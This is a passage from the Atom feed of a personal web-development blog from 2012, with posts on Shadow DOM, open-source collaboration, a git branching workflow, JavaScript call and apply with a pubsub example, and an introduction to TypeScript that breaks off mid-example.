&lt;p&gt;&lt;code&gt;groupify&lt;/code&gt; does even more magic. It creates a &lt;code&gt;div&lt;/code&gt;, and adds some innerHTML to it. But you&amp;#8217;ll notice something odd in the HTML: the &lt;code&gt;content&lt;/code&gt; element?!&lt;/p&gt;

&lt;p&gt;As mentioned before, it&amp;#8217;s new in the Shadow DOM spec, and is the &amp;#8216;insertion point&amp;#8217; I also mentioned earlier. The &lt;code&gt;content&lt;/code&gt; element and its &lt;code&gt;select&lt;/code&gt; attribute are a &lt;strong&gt;placeholder and selector for content&lt;/strong&gt; to be placed in the Shadow DOM.&lt;/p&gt;

&lt;p&gt;In this instance, it&amp;#8217;s matching list items from the stories list. Pass some selection criteria (a CSS selector) in the &lt;code&gt;select&lt;/code&gt; attribute and it does the rest for you.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;group&lt;/code&gt; div then is returned and appended to the Shadow DOM.&lt;/p&gt;

&lt;h3 id='a_little_filler'&gt;A little filler&lt;/h3&gt;

&lt;p&gt;By the way, I&amp;#8217;ve used this little snippet that allows me to avoid using WebkitShadowRoot every time. Just stick it on every page where you use the Shadow DOM.&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
window.ShadowRoot = window.ShadowRoot || window.WebKitShadowRoot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id='further_readingwatching'&gt;Further reading/watching&lt;/h3&gt;

&lt;p&gt;Remy Sharp pointed me at &lt;a href='http://x-tags.org/'&gt;X-Tags&lt;/a&gt;, a cross-browser project that allows you to define your own custom elements, and Angelina Fabbro&amp;#8217;s great &lt;a href='http://www.youtube.com/watch?v=JNjnv-Gcpnw'&gt;Inspector Web and the Mystery of the Shadow DOM&lt;/a&gt; talk. For an intro to the Shadow DOM the latter is highly reccommended.&lt;/p&gt;

&lt;p&gt;If you&amp;#8217;re really interested in this stuff you could also subscribe to the &lt;a href='http://lists.w3.org/Archives/Public/public-webapps/'&gt;Web Applications Working Group&lt;/a&gt; mailing list.&lt;/p&gt;

&lt;h3 id='conclusion'&gt;Conclusion&lt;/h3&gt;

&lt;p&gt;The Shadow DOM seems like a really useful addition to the existing DOM specification, and in combination with the other elements mentioned above, it&amp;#8217;s definitely something I want to spend more time exploring. I&amp;#8217;ve only scratched the surface here.&lt;/p&gt;

&lt;p&gt;Let me know if you do any experiments, and what you find.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>Collaboration</title>
   <link href="http://phuu.net/2012/11/08/collaboration.html"/>
   <updated>2012-11-08T09:00:00+00:00</updated>
   <id>http://phuu.net/2012/11/08/collaboration</id>
   <content type="html">&lt;blockquote&gt;
&lt;p&gt;This is perhaps a slighly unusual post that I was going to give as the first part of a talk (perhaps I will at some point), but the subject matter wasn&amp;#8217;t right for the event, so I fleshed it out and put it here. I hope you enjoy it.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;p&gt;50 thousand years ago, give or take, in Africa, there was a sudden explosion of evolutionary development tied to the emergence of our species, Homo Sapiens. It is thought by archaeologists and anthropologists that this is the period we developed a range of characteristics that make us, we believe, unique amongst all species, including language, culture and consciousness.&lt;/p&gt;

&lt;p&gt;The development of language in particular, can be closely linked to human&amp;#8217;s engaging in complex, high level social interactions. It may be the first time humans demonstrated the ability to use symbolic thought – classification of concrete things into abstractions.&lt;/p&gt;

&lt;p&gt;Other symptoms of this change include evidence of finely made tools, bartering and basic economics, jewellery, cooking, burial, music and even art.&lt;/p&gt;

&lt;p&gt;This explosion is known as the Upper Palaeolithic Revolution, or the Great Leap Forward, and it forms the basis of all that humans have achieved since, and social interaction, cooperation and altruism (and not killing each other&amp;#8217;s babies) are very important aspects of what makes us, us.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Forming groups and working together in cooperation is another aspect that means humans and other animals are able to achieve great feats that are out of reach of the individual.&lt;/p&gt;

&lt;p&gt;Ants are a great example of this, and they take it farther than humans ever have. Individually they are minuscule creatures but together they can create incredible structures in the ground that as complex as human cities. I&amp;#8217;d like to show you a quick video from Ants – Nature&amp;#8217;s Secret Power, a documentary from 2006. In it, we see a team of researchers excavating an abandoned ant megalopolis that they&amp;#8217;ve filled with concrete. There results are are absolutely astounding.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Skip to 46:15 for the good stuff. Sorry, I couldn&amp;#8217;t get YouTube embed to start at the right time.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;div class='embed-container'&gt;
&lt;iframe allowfullscreen='true' frameborder='0' src='http://www.youtube.com/embed/Z-gIx7LXcQM' start='2775' /&gt;
&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;Without any centrally organising force or management hierarchy, the ants work together to build something they never could alone, building a subterranean city for the good of the colony, even building rooms for food, storage and nurseries. The level and scale of cooperation can be hard to comprehend.&lt;/p&gt;

&lt;p&gt;This kind of behaviour, exhibited by ants and other creatures, is called eusocial; the highest classification of social organisation amongst animal species.&lt;/p&gt;

&lt;p&gt;Humans, evolutionarily speaking, have never co-operated at this scale because we are tribal, generally existing in numbers no greater than 150. You&amp;#8217;ve probably heard that number before in this context. It&amp;#8217;s approximate to Dunbar&amp;#8217;s Number, a suggested limit to the number of people with whom you can maintain stable social relationships, generally thought to be between 100 and 230. The truth of this commonly cited &amp;#8216;fact&amp;#8217; is contested, but I think it&amp;#8217;s reasonably true.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Anecdotally, I find it hard to manage following more than 200 people on Twitter. How about you?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;However, internet social networks raise interesting questions about human interaction, co-operation and collaboration. Suddenly we can be in simultaneous communication with vast numbers of people from well outside what would have been considered our &amp;#8216;tribe&amp;#8217; just 10,000 years ago.&lt;/p&gt;

&lt;p&gt;Undoubtedly, living amongst ever larger populations in ever expanding cities has put strains on our brains that are evolved for much, much smaller groups. And on the internet we have access to the internet-enabled population of the world, a number well over 2 billion.&lt;/p&gt;

&lt;p&gt;As humans, we simply cannot work together on the same scale as ants. We are too complex. We have emotions, desires, dreams and, in general, an aversion to hard work. But the magic of the web is that we can work together in smaller groups, distributed across the world, to build things that have a global impact.&lt;/p&gt;

&lt;p&gt;As builders of things on and for the web, we are uniquely position to do exactly this. By working with others, thousands of miles away, who you may never meet, we can collaborate on things that can have a truly global impact.&lt;/p&gt;

&lt;p&gt;One of the best ways to do so is to contribute to an open source project.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;If you&amp;#8217;ve never done it before, or have only put your own projects on Github, getting started is pretty easy. There are many tutorials out there on the specifics of using git and Github, but I&amp;#8217;d like to focus on the impact you can have very quickly.&lt;/p&gt;

&lt;p&gt;One of the best ways to jump into a project is to fix a bug. All big projects (and, because of Github, most smaller projects) have a bug or issue tracker. This is the first thing to go to if you&amp;#8217;d like work on improving an open source project. Browse through the issues and find something you think you can have a go at, and just jump in. When you&amp;#8217;ve fixed it, submit your fix back to the maintainers of the project and they&amp;#8217;ll give you feedback or merge it in.&lt;/p&gt;

&lt;p&gt;Suddenly, you&amp;#8217;re a contributor to an open-source project, and can immediately expect a 50% pay rise.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;(Your results may vary.)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This may seem intimidating, and you may think that there&amp;#8217;s no way you can have an impact on a project, particularly a big one. I struggle with this too, so to show you how little you have to do I took at look at a few of the most popular projects on Github and compared the number of bugs reported to the number of contributors with three or more fixes (specifically, commits) in the project.&lt;/p&gt;

&lt;p&gt;The idea is that is doesn&amp;#8217;t take much to have a significant impact on a project relative to the number of users, because there aren&amp;#8217;t many people with three or more commits in most projects and the issue count is representative of the number of users of a project who care about making it better.&lt;/p&gt;

&lt;p&gt;Three commits isn&amp;#8217;t much; it&amp;#8217;s roughly comparable to three issues. In large projects, there are a lot of issues.&lt;/p&gt;

&lt;p&gt;I looked at jQuery, Bootstrap, the HTML5 Boilerplate, Backbone, Node, Express and jQuery UI. I would guess that you&amp;#8217;ve used at least one of those.&lt;/p&gt;

&lt;p&gt;Here&amp;#8217;s the raw results:&lt;/p&gt;
&lt;table&gt;
  &lt;tr&gt;
    &lt;th&gt;Project&lt;/th&gt;
    &lt;th&gt;Contributors (3+ commits)&lt;/th&gt;
    &lt;th&gt;Issues&lt;/th&gt;
    &lt;th&gt;Ratio&lt;/th&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;th /&gt;
    &lt;th&gt;Mean: 42&lt;/th&gt;
    &lt;th /&gt;
    &lt;th&gt;Mean: 1.29%&lt;/th&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;strong&gt;jquery&lt;/strong&gt;&lt;/td&gt;
    &lt;td&gt;49&lt;/td&gt;
    &lt;td&gt;12800&lt;/td&gt;
    &lt;td&gt;0.38%&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;strong&gt;bootstrap&lt;/strong&gt;&lt;/td&gt;
    &lt;td&gt;34&lt;/td&gt;
    &lt;td&gt;5664&lt;/td&gt;
    &lt;td&gt;0.60%&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;strong&gt;h5bp&lt;/strong&gt;&lt;/td&gt;
    &lt;td&gt;31&lt;/td&gt;
    &lt;td&gt;1240&lt;/td&gt;
    &lt;td&gt;2.50%&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;strong&gt;backbone&lt;/strong&gt;&lt;/td&gt;
    &lt;td&gt;33&lt;/td&gt;
    &lt;td&gt;1770&lt;/td&gt;
    &lt;td&gt;1.86%&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;strong&gt;node&lt;/strong&gt;&lt;/td&gt;
    &lt;td&gt;100+&lt;/td&gt;
    &lt;td&gt;4199&lt;/td&gt;
    &lt;td&gt;2.38%&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;strong&gt;express&lt;/strong&gt;&lt;/td&gt;
    &lt;td&gt;12&lt;/td&gt;
    &lt;td&gt;1390&lt;/td&gt;
    &lt;td&gt;0.86%&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;strong&gt;jquery-ui&lt;/strong&gt;&lt;/td&gt;
    &lt;td&gt;36&lt;/td&gt;
    &lt;td&gt;8750&lt;/td&gt;
    &lt;td&gt;0.41%&lt;/td&gt;
  &lt;/tr&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;Numbers correct a few days before going to&amp;#8230; screen?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The number on the right, the ratio, shows that, on average, about 1.3% of users who cared enough about a project actually spent time contributing. Think how many actual users there are of jQuery. If I had been comparing contributors to users, the ratio would have been &lt;em&gt;tiny&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;My point here is that it really doesn&amp;#8217;t take much to make an impact on something a big like jQuery; even less to affect something small.&lt;/p&gt;

&lt;p&gt;It might not be best to jump straight into a big project, but I would never discourage anyone. My suggestion would be to pick something small and work up. You can learn alot at that scale too.&lt;/p&gt;

&lt;p&gt;And consider this: have a look around for a small or brand new project from someone you know, and try it out. Find bugs and submit them back. Share the project with others. They will really appreciate it.&lt;/p&gt;

&lt;p&gt;&amp;gt; Just so you know, if you did that for one of my projects, it would make my week.&lt;/p&gt;

&lt;p&gt;The takaway is that if there&amp;#8217;s an open source tool, library or project that you use every day and you think could be better, go make it so.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Humans cannot work together on the same scale as ants do, but in smaller groups we can be highly effective in building things that have a much wider impact, the outcome of which is greater than the sum of the parts.&lt;/p&gt;

&lt;p&gt;Code, tools and projects that anyone and everyone with internet access can contribute to is one of the greatest things humans have done with the internet, and it&amp;#8217;s still very possible to have an impact.&lt;/p&gt;

&lt;p&gt;You can, right now, go and make a change to something that potentially millions of other people use every day.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>A git workflow</title>
   <link href="http://phuu.net/2012/11/05/a-git-workflow.html"/>
   <updated>2012-11-05T08:00:00+00:00</updated>
   <id>http://phuu.net/2012/11/05/a-git-workflow</id>
   <content type="html">&lt;p&gt;This post is about how I personally work with git. There are a actually a million different possible git workflows, and I&amp;#8217;d recommend playing with a few till you find something you like.&lt;/p&gt;

&lt;p&gt;My workflow is very similar to, and is based on, Scott Chacon&amp;#8217;s &lt;a href='http://scottchacon.com/2011/08/31/github-flow.html'&gt;Github Workflow&lt;/a&gt;. Obviously it works well with github, so collaboration with others is easy, but it&amp;#8217;s also designed for a tight feedback-loop using many, cheap, branches and merging often.&lt;/p&gt;

&lt;h3 id='workflow'&gt;Workflow&lt;/h3&gt;

&lt;p&gt;Here&amp;#8217;s the general idea:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The master branch is always deployable&lt;/li&gt;

&lt;li&gt;Always work on a branch&lt;/li&gt;

&lt;li&gt;Commit often and regularly push your work to the same named branch on the server&lt;/li&gt;

&lt;li&gt;When your work is ready, open a pull request and have someone else review it before merging into master&lt;/li&gt;

&lt;li&gt;Use pull requests for feedback and help, not just for features to be merged into master&lt;/li&gt;

&lt;li&gt;Deploy from master often&lt;/li&gt;

&lt;li&gt;Use a &lt;code&gt;feature/fix/task/try&lt;/code&gt; naming convention&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id='naming'&gt;Naming&lt;/h3&gt;

&lt;p&gt;The branch naming convention is helpful for others to understand what you&amp;#8217;re working on, and helps you keep organised. A branch called &lt;code&gt;fix/cats-in-profile-pictures&lt;/code&gt; is very different to &lt;code&gt;feature/cats-in-profile-pictures&lt;/code&gt;. If you know you&amp;#8217;ve got to do something, but it&amp;#8217;s not new, use &lt;code&gt;task/&lt;/code&gt;, and if you&amp;#8217;re just trying something out, use &lt;code&gt;try/&lt;/code&gt;.&lt;/p&gt;

&lt;h3 id='other_thoughts'&gt;Other thoughts&lt;/h3&gt;

&lt;p&gt;Branches are cheap. In SVN, branching and merging is painful and so is avoided, but in git it&amp;#8217;s trivial. Use them often and throw them away often. A &lt;code&gt;try/&lt;/code&gt; branch can easily become a &lt;code&gt;feature/&lt;/code&gt; branch.&lt;/p&gt;

&lt;p&gt;Git is as useful for personal projects as it is for collaboration: using git from the start on your own stuff (even if it&amp;#8217;s never meant for the light of day) makes it easy for others to collaborate down the line.&lt;/p&gt;

&lt;p&gt;I hope this helps you figure out the right git workflow for you – let me know if you have any ideas or suggestions.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>useful js: call &amp; apply</title>
   <link href="http://phuu.net/2012/11/02/javascript-function-call-and-function-apply.html"/>
   <updated>2012-11-02T08:00:00+00:00</updated>
   <id>http://phuu.net/2012/11/02/javascript-function-call-and-function-apply</id>
   <content type="html">&lt;p&gt;Javascript&amp;#8217;s &lt;strong&gt;call&lt;/strong&gt; and &lt;strong&gt;apply&lt;/strong&gt; are two mysterious functions that can be difficult to understand, but it&amp;#8217;s worth taking the time to learn about them becuase they&amp;#8217;re ver useful. They&amp;#8217;re also very similar, but with one subtle but important difference.&lt;/p&gt;

&lt;h3 id='call'&gt;call&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;call&lt;/code&gt;, or more properly, &lt;code&gt;Function.call&lt;/code&gt;, is a property of all Javascript functions.&lt;/p&gt;

&lt;p&gt;It allows you to run a function and define what the value of &lt;code&gt;this&lt;/code&gt; will be inside the function, and also supply arguments to the function you are running. For example:&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
var log_this = function () {
  console.log(this);
};

// This will log the default 'this' object.
// In a browser, that's the 'window'.
log_this();


// Now we create an object that we will use as 'this'
var thing = {
  name: 'Big Hairy Thing'
};

// This will log the 'thing' created above, because
// using 'call' ensures that 'this' within log_this
// is the 'thing', not the default 'this' (window).
log_this.call(thing);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Any other arguments you pass to &lt;code&gt;call&lt;/code&gt; are passed to the function you are calling as its arguments. Like so:&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
var log_this_and_message = function (message) {
  console.log(this, message);
};

var thing = {
  name: 'Big Hairy Thing'
};

log_this_and_message.call(thing, 'Hello!');
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Neato, eh?&lt;/p&gt;

&lt;h3 id='apply'&gt;apply&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;apply&lt;/code&gt; is very similar, and can be run on any functions. It runs your function, and the first argument you pass is the same as in &lt;code&gt;call&lt;/code&gt;: it will become the value of &lt;code&gt;this&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The difference is that you don&amp;#8217;t pass the other arguments individually, you &lt;strong&gt;pass them as an array&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Here&amp;#8217;s the example above using &lt;code&gt;apply&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
var log_this_and_message = function (message) {
  console.log(this, message);
};

// Now we create an object that we will use as 'this'
var thing = {
  name: 'Big Hairy Thing'
};

log_this_and_message.apply(thing, ['Hello!']);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;See the difference? It&amp;#8217;s subtle, but important.&lt;/p&gt;

&lt;h3 id='in_use'&gt;In use&lt;/h3&gt;

&lt;p&gt;Here&amp;#8217;s some great uses for &lt;code&gt;call&lt;/code&gt; and &lt;code&gt;apply&lt;/code&gt;&amp;#8230;&lt;/p&gt;

&lt;h4 id='arguments'&gt;arguments&lt;/h4&gt;

&lt;p&gt;Did you know that the &lt;code&gt;arguments&lt;/code&gt; variable inside all functions is not actually an array? That means you can&amp;#8217;t use all the nice array methods like &lt;code&gt;pop&lt;/code&gt;, &lt;code&gt;push&lt;/code&gt; and &lt;code&gt;slice&lt;/code&gt; on it! If you want to turn &lt;code&gt;arguments&lt;/code&gt; into an array, use &lt;code&gt;call&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
var args = [].slice.call(arguments, 0);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here we&amp;#8217;re using the &lt;code&gt;slice&lt;/code&gt; method of an empty array.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;slice&lt;/code&gt; copies elements out of one array and returns them as a new array. It starts at the index you supply in the first argument and finishes one before the index you supply in the second argument, or it goes all the way to the end if you don&amp;#8217;t supply a second argument.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;slice&lt;/code&gt; copies elements out of whatever object &lt;code&gt;this&lt;/code&gt; refers to. Usually, inside &lt;code&gt;slice&lt;/code&gt;, the value of &lt;code&gt;this&lt;/code&gt; is the array we are calling slice on. In the above example, that would be the empty array. However, becase we are using &lt;code&gt;call&lt;/code&gt;, &lt;code&gt;this&lt;/code&gt; is in fact the array-like object &lt;code&gt;arguments&lt;/code&gt;. &lt;code&gt;slice&lt;/code&gt; copies each element out of &lt;code&gt;arguments&lt;/code&gt; into a real array and returns it.&lt;/p&gt;

&lt;p&gt;Nice.&lt;/p&gt;

&lt;h4 id='log_it_all'&gt;Log it all&lt;/h4&gt;

&lt;p&gt;Let&amp;#8217;s say you&amp;#8217;re passing a callback to someone else&amp;#8217;s library and you&amp;#8217;re expecting data back, but you don&amp;#8217;t know how many arguments you&amp;#8217;re going to get. There&amp;#8217;s a simple trick to allow you to &lt;code&gt;console.log&lt;/code&gt; everything that&amp;#8217;s passed to your callback.&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
var args = [].slice.call(arguments, 0);
console.log.apply(console, args);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Becuase &lt;code&gt;apply&lt;/code&gt; takes an array of arguments to be passed to the function, you can sling it the array of arguments you recieved and have them logged out, all nicely formatted.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Note: you could actually just pass &lt;code&gt;arguments&lt;/code&gt; as the second argument to apply, becuase it&amp;#8217;s &amp;#8216;array-like&amp;#8217; enough, but for now we&amp;#8217;ll play it safe.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id='pubsub'&gt;pub/sub&lt;/h3&gt;

&lt;p&gt;Here&amp;#8217;s a bigger example.&lt;/p&gt;

&lt;p&gt;I&amp;#8217;ve put together a publisher/subscriber object called &lt;code&gt;pubsub&lt;/code&gt;. It uses &lt;code&gt;call&lt;/code&gt; and &lt;code&gt;apply&lt;/code&gt; to implement some neat features. Take some time to run it, look through it and have a play.&lt;/p&gt;

&lt;p&gt;Enjoy!&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
/*
the pubsub is a publisher/subscriber system to demonstrate use of Function.call and Function.apply.
http://en.wikipedia.org/wiki/Publish%E2%80%93subscribe_pattern
*/

var pubsub = {};

/*
pubsub.subscribers is an object where each key is an event and each value is an array of callback functions associated with a particular event.
*/

pubsub.subscribers = {
  'some_event': [
    function () { console.log(&quot;some_event occured!&quot;); }
  ]
};

/*
pubsub.publish calls all the callbacks associated with a particular event (the first argument), passing each callback any further arguments supplied to publish.
*/

pubsub.publish = function () {
  // arguments is not an array.
  // use `[].slice.call` to turn it into a proper one.
  // See: http://s.phuu.net/SiRS7W
  var args = [].slice.call(arguments, 0);
  
  // pull the event off the front of the array of arguments.
  var event = args.shift();
  
  // If we have no subscribers to this event, initialise it.
  // Note, we could just return here.
  if( !pubsub.subscribers[event] ) pubsub.subscribers[event] = [];
  
  // Run through all the subscriber callbacks to the event and
  // fire them using `apply`. This runs the cb with a set of
  // arguments from the args array.
  // See: http://s.phuu.net/SiSkTC
  pubsub.subscribers[event].forEach(function (cb) {
    cb.apply(this, args);
  });
};

/*
pubsub.subscribe adds callbacks to the list associated with an event.
*/

pubsub.subscribe = function (event, cb) {
  // first, if this is a new event, set up a new list in the 
  // subscribers object.
  if( !pubsub.subscribers[event] ) {
    pubsub.subscribers[event] = [];
  }
  // next, push the supplied callback into the list to be 
  // called when the object is published
  pubsub.subscribers[event].push(cb);
};

// Example use:

pubsub.publish('some_event');

pubsub.subscribe('say_hello', function (name) {
  console.log('Hello, ' + name);
});

pubsub.subscribe('say_goodbye', function (name) {
  console.log('Goodbye, ' + name);
});

pubsub.subscribe('poke', function (name) {
  console.log(name + &quot; was poked.&quot;);
});

pubsub.publish('say_hello', 'Tom');
pubsub.publish('poke', 'Paul');
pubsub.publish('say_goodbye', 'Mr Fish');
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once again, thanks for reading.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>Life Update</title>
   <link href="http://phuu.net/2012/10/06/moved-to-brighton.html"/>
   <updated>2012-10-06T16:00:00+01:00</updated>
   <id>http://phuu.net/2012/10/06/moved-to-brighton</id>
   <content type="html">&lt;blockquote&gt;
&lt;p&gt;Times, they are a-changin&amp;#8217;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I&amp;#8217;ve moved to Brighton, postponing the second year of a Computer Science degree at Cardiff University. I&amp;#8217;ll be working for &lt;a href='//remysharp.com'&gt;Remy Sharp&lt;/a&gt; at &lt;a href='//leftlogic.com'&gt;LeftLogic&lt;/a&gt; building all kinds of real-time-y, mobile-y, Javascript-y stuff. My dream job.&lt;/p&gt;

&lt;p&gt;Look out for big stuff to come.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>A Fresh Look</title>
   <link href="http://phuu.net/2012/10/02/a-fresh-look.html"/>
   <updated>2012-10-02T15:00:00+01:00</updated>
   <id>http://phuu.net/2012/10/02/a-fresh-look</id>
   <content type="html">&lt;p&gt;Hope you like it! I know it&amp;#8217;ll develop and change over time.&lt;/p&gt;

&lt;p&gt;I found with the last design that I was constrained by the grid, so this one does away with it. Here&amp;#8217;s are my original goals for this remake; you can decide how many I achieved. There are other, technical, goals that I&amp;#8217;ll go for as I iterate.&lt;/p&gt;

&lt;h3 id='focus'&gt;Focus&lt;/h3&gt;

&lt;p&gt;Just posts. No work, no play (no about?)&lt;/p&gt;

&lt;h3 id='ux'&gt;UX&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Blog should be easier to read &amp;amp; paginated&lt;/li&gt;

&lt;li&gt;Permalinks more obvious &amp;amp; clickable&lt;/li&gt;

&lt;li&gt;Better prev/next links (with title?)&lt;/li&gt;

&lt;li&gt;Long &amp;amp; short form visually distinct?&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id='enjoy'&gt;Enjoy!&lt;/h3&gt;

&lt;p&gt;I&amp;#8217;m pleased with the reading experience, although mobile perhaps needs some work. Code now has much more space, which means I&amp;#8217;ll be much more liberal with code examples – I was feeling constrained by that too.&lt;/p&gt;

&lt;p&gt;Overall, I hope you like it, and do let me know what you think on &lt;a href='//alpha.app.net/phuu'&gt;app.net&lt;/a&gt; or &lt;a href='//twitter.com/phuunet'&gt;Twitter&lt;/a&gt;.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>A Quick Intro to TypeScript</title>
   <link href="http://phuu.net/2012/10/02/quick-intro-to-typescript.html"/>
   <updated>2012-10-02T01:00:00+01:00</updated>
   <id>http://phuu.net/2012/10/02/quick-intro-to-typescript</id>
   <content type="html">&lt;p&gt;I followed &lt;a href='/2012/10/01/try-something-new.html'&gt;my own advice&lt;/a&gt; and tried &lt;a href='http://www.typescriptlang.org/'&gt;TypeScript&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;First, a disclaimer. Though I have not been playing with it for long, I found the documentation pretty dense so I thought I&amp;#8217;d write up what I&amp;#8217;ve found so far in the hope that it saves you some time. &lt;strong&gt;Use at your own risk.&lt;/strong&gt;&lt;/p&gt;

&lt;h3 id='wtf_is_typescript'&gt;WTF is TypeScript?&lt;/h3&gt;

&lt;p&gt;In Microsoft&amp;#8217;s own words&amp;#8230;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;TypeScript is a language for application-scale JavaScript development. TypeScript is a typed superset of JavaScript that compiles to plain JavaScript. Any browser. Any host. Any OS. Open Source.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;A bit dramatic and emo, but that&amp;#8217;s OK. Microsoft&amp;#8217;s a pretty young, small company and they&amp;#8217;ll learn.&lt;/p&gt;

&lt;p&gt;Basically, it&amp;#8217;s a superset of the Javscript you know and love. Technically, it&amp;#8217;s a superset of ECMAScript 5 (ES5) syntax (and no, that&amp;#8217;s not a skin disease).&lt;/p&gt;

&lt;p&gt;TypeScript adds optional &lt;a href='http://en.wikipedia.org/wiki/Type_system#Static_typing'&gt;static typing&lt;/a&gt;, and includes some of the proposed specification for ECMAScript 6 (ES6) that&amp;#8217;s being worked on in a &lt;a href='http://www.ecmascript.org/'&gt;dungeon somewhere&lt;/a&gt;. Basically, that means classes and modules.&lt;/p&gt;

&lt;p&gt;That means that every Javascript program is also a TypeScript program, but not the other way, which is good becuase a TypeScript program will generally compile to &lt;strong&gt;less&lt;/strong&gt; Javascript. &lt;a href='http://lostechies.com/jimmybogard/2011/10/12/the-dart-hello-world/'&gt;Cough.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Some &lt;a href='http://www.zdnet.com/microsoft-typescript-can-the-father-of-c-save-us-from-the-tyranny-of-javascript-7000005054/'&gt;others&lt;/a&gt; have &lt;a href='http://blog.izs.me/post/32697104162/thoughts-on-typescript'&gt;opinions&lt;/a&gt;. To see this stuff for yourself, have a gander at Microsoft&amp;#8217;s &lt;a href='http://www.typescriptlang.org/Content/TypeScript%20Language%20Specification.pdf'&gt;Specification PDF&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Anyway, let&amp;#8217;s dive in.&lt;/p&gt;

&lt;h3 id='installing'&gt;Installing&lt;/h3&gt;

&lt;p&gt;Bish, bash, bosh:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;npm install -g typescript&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This adds &lt;code&gt;tsc&lt;/code&gt; to your shell, and you&amp;#8217;ll use it to compile &lt;code&gt;.ts&lt;/code&gt; files.&lt;/p&gt;

&lt;p&gt;I&amp;#8217;ve been doing it like this, to make Node run the compiled output:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;tsc index.ts &amp;amp;&amp;amp; node index&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Now let&amp;#8217;s write some code&amp;#8230;&lt;/p&gt;

&lt;h3 id='object_types'&gt;Object types&lt;/h3&gt;

&lt;p&gt;In Javascript we often chuck around objects containing strings, numbers and functions, but the situation often arises when a property is missing from an object. Wouldn&amp;#8217;t it be nice to have an automatic sanity check that an object had the right properties?&lt;/p&gt;

&lt;p&gt;TypeScript adds functionality to do this.&lt;/p&gt;

&lt;p&gt;The first part, called an &lt;strong&gt;object type&lt;/strong&gt;, allows us to specify the structure of an object before we create it. A named object type is called an interface.&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
interface Person {
  name: string;
  age?: number; // optional
  greeting: () =&gt; string;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now TypeScript knows how a Person object should look. Then, when we define such an object, we can make sure that we are conforming.&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
var tom: Person = {
  name: &quot;Tom&quot;,
  age: 19,
  greeting: function () {
    return 'Hello!';
  }
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;var tom: Person&lt;/code&gt; indicates that &lt;code&gt;tom&lt;/code&gt; must conform to our specification above. But, if we don&amp;#8217;t conform&amp;#8230;&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
var tom: Person = {
